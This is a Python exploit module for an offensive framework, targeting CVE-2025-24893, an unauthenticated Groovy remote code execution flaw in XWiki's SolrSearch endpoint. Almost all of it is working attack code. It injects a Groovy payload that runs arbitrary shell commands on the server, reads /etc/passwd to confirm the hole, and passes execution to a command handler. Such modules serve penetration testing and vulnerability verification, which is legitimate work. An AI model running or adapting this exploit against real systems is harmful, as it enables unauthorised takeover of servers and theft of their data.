XWiki SolrSearch Groovy RCE (CVE-2025-24893)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XWiki SolrSearch Groovy RCE (CVE-2025-24893)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'XWiki SolrSearch Groovy RCE (CVE-2025-24893)',
        'description': (
            'Exploits CVE-2025-24893 in XWiki Platform: unauthenticated Groovy execution '
            'via crafted text parameter on /bin/get/Main/SolrSearch.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2025-24893'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2025-24893'],
        'tags': ['xwiki', 'groovy', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2025_24893_detect']},
        },
    }

    def _path(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        groovy = f'}}{{async async=false}}{{groovy}}println("{safe}".execute().text){{/groovy}}{{/async}} '
        text = urllib.parse.quote('}}}' + groovy, safe='')
        return f'/bin/get/Main/SolrSearch?media=rss&text={text}'

    def execute(self, cmd: str) -> str:
        for path in (self._path(cmd), '/xwiki' + self._path(cmd)):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                return r.text or ''
        return ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2025-24893 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'XWiki Groovy RCE failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()